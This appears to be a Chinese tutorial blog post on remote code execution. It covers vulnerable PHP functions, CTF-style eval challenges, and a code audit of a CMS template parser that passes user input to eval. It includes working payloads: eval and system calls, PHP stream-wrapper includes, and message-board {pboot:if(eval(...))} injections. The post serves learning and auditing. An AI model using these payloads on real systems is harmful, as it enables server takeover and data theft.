当前位置: 首页 > news >正文

解密RCE漏洞:原理剖析、复现与代码审计实战

在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。

  1. 概念

    1. 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。
  2. 利用函数

    1. php
      1. eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
    2. python
      1. eval exec subprocess os.system commands
    3. java
      1. java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
  3. 复现

    1. 基本使用
      1. 源码

         <?php
        error_reporting(0);          //排除错误
        if(isset($_GET['c'])){       //get传参不为空,执行if语句$c = $_GET['c'];         //get传参,赋值给变量cif(!preg_match("/flag/i", $c)){   //过滤flageval($c);            //执行c表达式}}else{highlight_file(__FILE__);
        }payload:
        ?c=system('tac fla*.php');
        ?c=echo shell_exec('tac fla*');
        ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
        
    2. 参数逃逸
      1. 源码

        <?php
        error_reporting(0);
        if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
        }
        ?>  
        payload:
        ?c=eval($_GET[1]);&1=phpinfo();
        
    3. 伪协议
      1. 源码同上

        payload:
        ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>payload2
        get:?c=include$_GET[a]?>&a=php://input
        post:<?php system('tac flag.php');?>payload3
        ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
        

代码审计

  1. 靶场搭建
    1. 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
    2. 下载靶场,在config.php文件中填入授权码,安装靶场
  2. 流程
    1. 导入文件,搜索常用的命令执行函数eval

    2. 看到eval的来源变量matches

    3. 本文搜索matches的数据来源,来源于parserSiteLabel函数

    4. 全局搜索parserSiteLabel函数,看到parserCommom函数

    5. 全局搜索parserCommom函数,到达AboutController.php

      1. 名称与网站对应关系
    6. 有前端与后端结合可知,前端的留言板是在AboutController.php上的

    7. 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

      1. 代码

         public function parserIfLabel($content){$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 对于无参数函数不执行解析工作if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在elseswitch ($flag) {case 'if': // 条件为真if (isset($matches2[1])) {$out_html = $matches2[1];}break;case 'else': // 条件为假if (isset($matches2[2])) {$out_html = $matches2[2];}break;}} elseif ($flag == 'if') {$out_html = $matches[2][$i];}// 无限极嵌套解析if (preg_match($pattern2, $out_html, $matches3)) {$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);$out_html = $this->parserIfLabel($out_html);}// 执行替换$content = str_replace($matches[0][$i], $out_html, $content);}}
        payload:
        留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}payload2:
        留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
        //记得要在后台把状态打开,不然无回显,头疼!!!!
        

通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!

相关文章:

解密RCE漏洞:原理剖析、复现与代码审计实战

在网络安全领域&#xff0c;远程代码执行&#xff08;RCE&#xff09;漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码&#xff0c;从而掌控整个系统&#xff0c;带来极大的安全风险。理解RCE漏洞的工作原理&#xff0c;并掌握其复现与代码审计技…...

打造智能家居:用React、Node.js和WebSocket构建ESP32设备控制面板(代码说明)

一、项目概述 在物联网&#xff08;IoT&#xff09;时代&#xff0c;智能设备的远程控制变得越来越重要。本文介绍了一个构建智能设备控制面板的项目&#xff0c;允许用户通过 Web 应用来控制多个 ESP32 设备。用户可以通过该面板查看设备列表&#xff0c;实时了解设备状态&am…...

计网:从输入URL到网页显示期间发生了什么

1、URL包含的信息 我们输入的url中包含着一些信息&#xff1a; http&#xff1a;表示的此次我们使用的什么协议/www.baidu.com&#xff1a;表示的是我们想要访问的服务器名称&#xff0c;也就是域名dir3/home.html&#xff1a;表示我们所要访问的资源 2、通过DNS解析URL获得I…...

龚宇引以为傲的“爆款制造营”,爱奇艺怕是要爽约了

文&#xff1a;互联网江湖 作者&#xff1a;刘致呈 人们经常用人红戏不红&#xff0c;来形容毯星&#xff0c;综艺上咋咋呼呼&#xff0c;一提都知道&#xff0c;可问及代表作&#xff0c;不好意思&#xff0c;这个真没有。 今年的爱奇艺&#xff0c;貌似也迎来了这一宿命。 …...

org.springframework.web.client.HttpClientErrorException$NotFound异常

springCloud报错信息&#xff1a;org.springframework.web.client.HttpClientErrorException$NotFound: 404 null第一点&#xff1a; 第二点&#xff1a;没有httpclient工具类 注入RestTmeplate类时&#xff0c;改类需要RestController或ResponseBody...

在开关电源转换器中充分利用碳化硅器件的性能优势

在过去的几十年中&#xff0c;半导体行业已经采取了许多措施来改善基于硅 MOSFET &#xff08;parasitic parameters&#xff09;&#xff0c;以满足开关转换器(开关电源)设计人员的需求。行业效率標準以及市场对效率技术需求的双重作用&#xff0c;导致了对于可用于构建更高效…...

QObject::connect: Cannot queue arguments of type ‘QList<QString>‘

QObject::connect: Cannot queue arguments of type ‘QList’ QObject::connect: Cannot queue arguments of type QList<QString> (Make sure QList<QString> is registered using qRegisterMetaType().)使用信号和槽时&#xff0c;QList无法当做参数被传递&…...

基于K8S部署安装Jenkins

基于K8S部署安装Jenkins 1.Jenkins Kubernetes 清单文件2.Kubernetes Jenkins 部署1&#xff1a;为 Jenkins 创建 Namespace。 最好将所有DevOps工具分类为与其他应用程序分开的命名空间。2&#xff1a;创建“serviceAccount.yaml”文件并复制以下管理员服务帐户清单。1. kubec…...

24-8-4-读书笔记(十三)-《莎士比亚全集》(第一卷(续)) [英] 威廉·莎士比亚 [译]朱生豪

文章目录 《莎士比亚全集》(第一卷(续))目录阅读笔记记录总结《莎士比亚全集》(第一卷(续)) 《莎士比亚全集》朱生豪的经典译本,非常值得花时间去读一读,莎氏的巨作有其独特的韵味,与莫里哀、契诃夫、曹禺等其他国家的剧作家有其鲜明的特点,这既是源于其所处的时代…...

linux nicstat

nicstat 是一个用于监控和报告网络接口统计信息的工具。它可以提供关于网络接口的详细性能数据&#xff0c;包括传输速率、错误率、丢包率等。nicstat 对于诊断网络性能问题和优化网络配置非常有用。 安装 nicstat nicstat 可能不在所有Linux发行版的默认软件库中&#xff0c…...

程序员如何积累人脉?光靠技术不行了~

从事技术的人&#xff0c;还没被社会“塑造”前&#xff0c;总会有一个“固有思维”&#xff0c;就是这个世界大概率是“由代码和逻辑主宰的世界”&#xff0c;人脉积累并不在考虑范围内&#xff0c;而我们也常被误解为只懂得与机器对话的technician。 事实上&#xff0c;游戏…...

初识增强现实(AR)

初识增强现实&#xff08;AR&#xff09; 笔记来源&#xff1a; 1.2023年中国增强现实&#xff08;AR&#xff09;行业研究报告 2.wiki/Augmented reality 3.In-Depth Review of Augmented Reality: Tracking Technologies, Development Tools, AR Displays, Collaborative AR…...

开关电源起振是什么看了就知道

接触开关电源的朋友都知道&#xff0c;含有电源管理芯片的开关电源有输入&#xff0c;没输出时常说是不是电路没起振&#xff0c;到底这句话是什么意思呢&#xff1f;什么是“起振”先不做 的解释&#xff0c;简单打个比方&#xff0c;大家就容易懂了&#xff0c;就好像抢救心…...

Modbus_Ascii协议

设备必须要有RTU协议&#xff01;这是Modbus协议上规定的&#xff0c;且默认模式必须是RTU&#xff0c;ASCII作为选项。&#xff08;也就是说&#xff0c;一般的设备只有RTU这个协议&#xff0c;ASCII一般很少&#xff09;所以说&#xff0c;一般学习Modbus协议&#xff0c;只需…...

树莓派在功能和成本之间的 “惊人平衡 “支持了全球数字标牌的成功故事!

树莓派的“功能和成本之间的惊人平衡”支撑全球数字标牌成功故事 数字标牌已经成为一个数十亿美元的行业。Yodeck很快预测到了其中的潜力&#xff1a;他们需要硬件来支持他们可靠、具有成本效益和易于管理的服务&#xff0c;而不会影响性能。事实证明&#xff0c;树莓派 4 证明…...

C++ 学习记录

文章目录 继承重载和重写区别重载重写 参考文献 继承 继承顾名思义就是对长辈本有的东西进行获取与使用&#xff0c;即两个以及两个类以上的关系在获取与使用时会存在一些情况&#xff1a; public&#xff1a;长辈对外公开的自身所有物&#xff0c;最终都会是后代的protected&…...

C#中的TCP和UDP

TcpClient TCP客户端 UDP客户端 tcp和udp的区别 TCP&#xff08;传输控制协议&#xff09;和UDP&#xff08;用户数据报协议&#xff09;是两种在网络通信中常用的传输层协议&#xff0c;它们在C#或任何其他编程语言中都具有相似的特性。下面是TCP和UDP的主要区别&#xff1a;…...

Spring中使用嵌套事务及事务保存点

嵌套事务及事务保存点 Spring中的嵌套事务与事务保存点1. 什么是嵌套事务&#xff1f;2. 为什么使用嵌套事务&#xff1f;3. 如何在Spring中使用嵌套事务&#xff1f;4. 使用事务保存点5. 总结 Spring框架提供了强大的事务管理功能&#xff0c;包括对嵌套事务的支持。在Spring中…...

SFT、RLHF、DPO、IFT —— LLM 微调的进化之路

TL;DR • SFT、RLHF 和 DPO 都是先估计 LLMs 本身的偏好&#xff0c;再与人类的偏好进行对齐&#xff1b; • SFT 只通过 LLMs 生成的下一个单词进行估计&#xff0c;而 RLHF 和 DPO 通过 LLMs 生成的完整句子进行估计&#xff0c;显然后者的估计会更准确&#xff1b; • 虽然…...

【数据结构】LinkedList与链表

目录 链表 1、链表的概念及结构 2、LinkedList的使用 2、1什么是LinkedList 2、2LinkedList的使用 3、LinkedList的遍历 4、LinkedList的模拟实现 5、ArrayList和LinkedList的区别 上篇已经熟悉了ArrayList的使用&#xff0c;ArrayList底层使用数组来存储元素。由于其底层…...

《LeetCode热题100》---<5.①普通数组篇五道>

本篇博客讲解LeetCode热题100道普通数组篇中的五道题 第一道&#xff1a;最大子数组和&#xff08;中等&#xff09; 第二道&#xff1a;合并区间&#xff08;中等&#xff09; 第一道&#xff1a;最大子数组和&#xff08;中等&#xff09; 法一&#xff1a;贪心算法 class So…...

根据id查找树形结构中匹配数据与上级所有数据

背后 在用户管理业务开发过程中&#xff0c;通常需要查询出用户管理的菜单数据和当前菜单的所有上级数据。为了方便后续的cv工作&#xff0c;我打算把这种方法记录下来&#xff0c;以备不时之需. 代码实现细节 Data public class MenuDTO {Schema(description "菜单id&qu…...

探索亚马逊Amazon S3:无缝存储管理与极速数据传输的奥秘

亚马逊云科技中Amazon S3&#xff0c;因其设计简单与高度可靠&#xff0c;允许用户通过互联网存储和检索任意数量的数据&#xff0c;并能够自动扩展以满足各种规模的需求&#xff0c;使得Amazon S3成为了许多云计算应用和网站的核心存储基础设施之一&#xff0c;Amazon S3提供的…...

Linux_监测CPU和内存

通过TOP持续获取进程的CPU和内存消耗&#xff0c;并写入到表格 # 配置进程名 processvm-agent # 配置次数 number100 # 配置间隔时间 time5 # csv结果文件 filecm_$(date %s).csv echo "%CPU,%MEM">${file} pid$(ps -aux | grep ${process} | awk -F {OFS"…...

OpenCV经典案例:01 答题卡识别

目录 透视变换矫正 选项识别匹配 QT 界面设计 引言&#xff1a;随着信息化的发展&#xff0c;计算机阅卷已经成为一种常规操作。在大型考试中&#xff0c;客观题基本不再 需要人工阅卷。本项目旨在开发一个基于OpenCV的高效答题卡识别系统&#xff0c;通过先进的图像处理和模…...

进程的管理与控制详解:创建、终止、阻塞等待与非阻塞等待

目录 一、进程创建 1、实例 2、fork函数详解 (1)fork函数模板 (2). fork() 函数的工作原理 (3). fork() 返回值和错误处理 3、如何理解进程创建过程 二、进程终止 1、终止是在做什么&#xff1f; 2、进程终止&#xff0c;有三种情况 3、进程如何终止&#xff1f; 三…...

【从零开始一步步学习VSOA开发】开发环境搭建

开发环境搭建 开发 VSOA 首先需要搭建开发环境&#xff0c;这里讲解 Windows 下 C/C 开发环境搭建方法。 下载 IDE 并申请授权码 SylixOS 的开发和部署需要 RealEvo-IDE 的支持&#xff0c;因此您需要先获取 RealEvo-IDE 的安装包和注册码。 RealEvo-IDE 分为体验版和商业版…...

一篇文章让你用我的世界中的红石搞懂什么是ALU!

目录 1.一些在开始的约定 2.七大逻辑门电路 1、 与门 2、 或门 3、 非门 5、 或非门 6、 异或门 7、 同或门 3.半加器 4.全加器 5.ALU 1.一些在开始的约定 相同的概念&#xff1a;相同的概念&#xff1a;高电平低电平逻辑真逻辑假 开关的开 开关的关 灯的亮 灯…...

硬盘数据恢复:所需时长、全面指南及注意事项

在数字化时代&#xff0c;硬盘作为我们存储重要数据的核心设备&#xff0c;其重要性不言而喻。然而&#xff0c;由于各种原因&#xff0c;如误删除、格式化、硬盘故障等&#xff0c;我们时常面临数据丢失的困境。数据恢复不仅关乎个人隐私和信息安全&#xff0c;更可能影响到我…...

基于SpringBoot+Vue的科研管理系统(带1w+文档)

基于SpringBootVue的科研管理系统(带1w文档) 基于SpringBootVue的科研管理系统(带1w文档) 科研的管理系统设计过程中采用Java开发语言,B/S结构&#xff0c;采取springboot框架&#xff0c;并以MySql为数据库进行开发。结合以上技术&#xff0c;对本系统的整体、数据库、功能模块…...